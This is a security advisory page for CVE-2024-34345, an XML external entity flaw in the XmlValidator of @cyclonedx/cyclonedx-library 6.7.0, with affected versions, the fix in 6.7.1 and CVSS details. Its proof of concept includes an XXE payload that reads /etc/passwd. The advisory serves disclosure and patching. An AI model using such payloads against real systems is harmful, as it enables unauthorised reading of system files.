---
title: "GHSA-38gf-rh2w-gmj7: @cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability"
description: "High severity. @cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability."
url: https://inlinr.com/advisories/GHSA-38gf-rh2w-gmj7
lang: en
---

[Packages](https://inlinr.com/packages) / [@cyclonedx/cyclonedx-library](https://inlinr.com/packages/@cyclonedx/cyclonedx-library) / [Security](https://inlinr.com/packages/@cyclonedx/cyclonedx-library/security)

High Vulnerability GHSA-38gf-rh2w-gmj7 CVE-2024-34345 Published 8 May 2024

# @cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Your version 

Affected releases · [@cyclonedx/cyclonedx-library](https://inlinr.com/packages/@cyclonedx/cyclonedx-library)

- 6.x 6.7.0 Fixed in 6.7.1

On 6.x, the newest line:

```
npm install @cyclonedx/cyclonedx-library@6.7.1
```

Every release on a timeline

10.x 

1. Not affected

10.0.0 – 10.5.1  
8 releases, latest

6.x 

1. Not affected

6.0.0 – 6.6.1  
16 releases
2. Affected

6.7.0  
1 release
3. Fixed

6.7.1 – 6.13.1  
14 releases

92 stable releases of @cyclonedx/cyclonedx-library, oldest to newest, one row per major.

## What happens

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

```
const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});
```

Patches

This issue was fixed in `@cyclonedx/cyclonedx-library@6.7.1 `.

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

- issue was introduced via [#1063](https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063 "https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063").

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: high
- **Integrity**: high
- **Availability**: high

CVSS:3.1/​AV:N/​AC:H/​PR:N/​UI:N/​S:U/​C:H/​I:H/​A:H

## References

- [Reference](https://github.com/CycloneDX/cyclonedx-javascript-library/security/advisories/GHSA-38gf-rh2w-gmj7 "https://github.com/CycloneDX/cyclonedx-javascript-library/security/advisories/GHSA-38gf-rh2w-gmj7")  
github.com/CycloneDX/cyclonedx-javascript-libra…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-34345 "https://nvd.nist.gov/vuln/detail/CVE-2024-34345")  
nvd.nist.gov/vuln/detail/CVE-2024-34345
- [Pull request](https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063 "https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063")  
#1063
- [Fix commit](https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203 "https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203")  
5e5e1e0
- [Package](https://github.com/CycloneDX/cyclonedx-javascript-library "https://github.com/CycloneDX/cyclonedx-javascript-library")  
github.com/CycloneDX/cyclonedx-javascript-libra…

A whole project to check? Paste its package.json in the [dependency check](https://inlinr.com/tools/dependency-check): every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.
